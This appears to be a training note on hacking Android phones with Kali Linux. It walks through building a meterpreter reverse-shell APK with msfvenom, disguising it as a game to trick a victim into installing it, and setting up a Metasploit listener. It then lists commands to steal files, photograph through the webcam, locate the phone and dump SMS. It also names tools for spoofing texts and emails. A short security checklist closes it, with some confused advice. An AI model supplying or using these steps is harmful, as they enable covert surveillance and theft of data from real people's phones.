[Day 6] 2. Android Hacking with Kali Linux (.apk Payload)

Attacker System: Kali Linux

Victim Device: Android Phone

Steps to Create and Deliver the Payload

1. Generate the Malicious APK
   Use the following command to create the

   Copy

   .apk

   file with malicious code:

   bashCopy
   sudo msfvenom -p android/meterpreter/reverse_http LHOST=<attacker_ip> LPORT=<attacker_port> > hack.apk
   

   • Replace
     Copy

     <attacker_ip>

     with the attacker's IP address.
   • Replace
     Copy

     <attacker_port>

     with the desired port number.
   • You can try
     Copy

     reverse_ftp

     instead of
     Copy

     reverse_http

     for different payloads.

2. Convince the Victim to Install the APK

   • Use social engineering to make the victim install the APK file.
   • Disguise the file as a legitimate app (e.g., a game or utility).

Steps for the Hacking Process

3. Start Metasploit Framework
   Open Metasploit on Kali Linux:

   bashCopy
   sudo msfconsole
   

4. Set Up a Listener
   Use the following commands in Metasploit:

   bashCopy
   use exploit/multi/handler
   set payload android/meterpreter/reverse_http
   set LHOST <attacker_ip>
   set LPORT <attacker_port>
   exploit
   

5. Wait for the Victim to Connect

   • Once the victim installs and opens the malicious app, the device will connect back to the attacker's listener.
   • You’ll now have a Meterpreter session.

6. Control the Victim's Device
   In the Meterpreter session, you can execute commands like:

   • Access Files:

     bashCopy
     ls
     download <file_path>
     upload <file_path>
     

   • Camera Control:

     bashCopy
     webcam_list
     webcam_snap
     

   • GPS Location:

     bashCopy
     geolocate
     

   • Read SMS:

     bashCopy
     dump_sms
     

Additional Notes

• Pegasus Spyware Case Study:
  Read about how Pegasus spyware infiltrates devices and exploits vulnerabilities for surveillance.
• Android Security Settings:
  • Use features like Find My Device and Sound Amplifier.

Spoofing

• Spoofing refers to sending fake messages or emails to deceive recipients.
  • Text Spoofing:
    Earlier tools included globalsms, way2sms, and 160by2.
  • Email Spoofing:
    Tools like Emkei's Fake Mailer allow sending fake emails.

Security Checklist

1. Pin Visibility: Disable visible PIN codes on the lock screen.
2. Default Settings: Ensure unused settings are disabled.
3. Location Settings:
   • Always keep "Find My Device" enabled.
   • Keep "Privacy Settings" off to minimize unnecessary data sharing.